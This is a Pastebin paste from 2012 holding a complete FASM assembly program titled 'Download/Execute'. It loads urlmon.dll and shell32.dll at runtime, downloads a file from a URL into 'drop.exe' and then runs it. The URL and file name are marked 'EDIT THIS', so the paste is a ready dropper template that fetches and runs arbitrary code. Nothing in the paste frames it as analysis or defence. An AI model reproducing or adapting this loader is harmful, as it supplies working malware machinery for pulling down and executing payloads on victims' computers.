infodox

Download/Execute in FASM

Mar 26th, 2012
396
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. format PE GUI 4.0
  2. ; FASM Download/Execute
  3. ; EDIT _url and _file params
  4. ; FASM used to compile
  5.  
  6. entry start
  7. include 'include\win32a.inc'
  8. section '.data' data readable writeable
  9. _urlmon                db 'urlmon.dll',0
  10. _shell                db 'shell32.dll',0
  11. _URLDownloadToFile    db 'URLDownloadToFileA',0
  12. _ShellExecute        db 'ShellExecuteA',0;
  13.  
  14. _url    db 'http://localhost/',0 ;EDIT THIS
  15. _file    db 'drop.exe',0 ;AND THIS
  16.  
  17. section '.code' code readable executable
  18. start:
  19. invoke LoadLibrary, _urlmon
  20. cmp eax, 0
  21. je exit
  22. invoke GetProcAddress, eax, _URLDownloadToFile
  23. cmp eax, 0
  24. je exit
  25. push eax
  26. push 0
  27. push 0
  28. push _file
  29. push _url
  30. push 0
  31. call eax
  32. pop eax
  33. invoke FreeLibrary, eax
  34.  
  35. invoke LoadLibrary, _shell
  36. cmp eax, 0
  37. je exit
  38. invoke GetProcAddress, eax, _ShellExecute
  39. cmp eax, 0
  40. je exit
  41. push eax
  42. push SW_SHOW
  43. push 0
  44. push 0
  45. push _file
  46. push 0
  47. push 0
  48. call eax
  49. pop eax
  50. invoke FreeLibrary, eax
  51.  
  52. exit:
  53. invoke ExitProcess, 0
  54.  
  55. section '.idata' import data readable
  56. library kernel32,'kernel32.dll'
  57.  
  58. import kernel32, ExitProcess, 'ExitProcess',\
  59. LoadLibrary,'LoadLibraryA',\
  60. GetProcAddress, 'GetProcAddress',\
  61. FreeLibrary, 'FreeLibrary'
Add Comment
Please, Sign In to add comment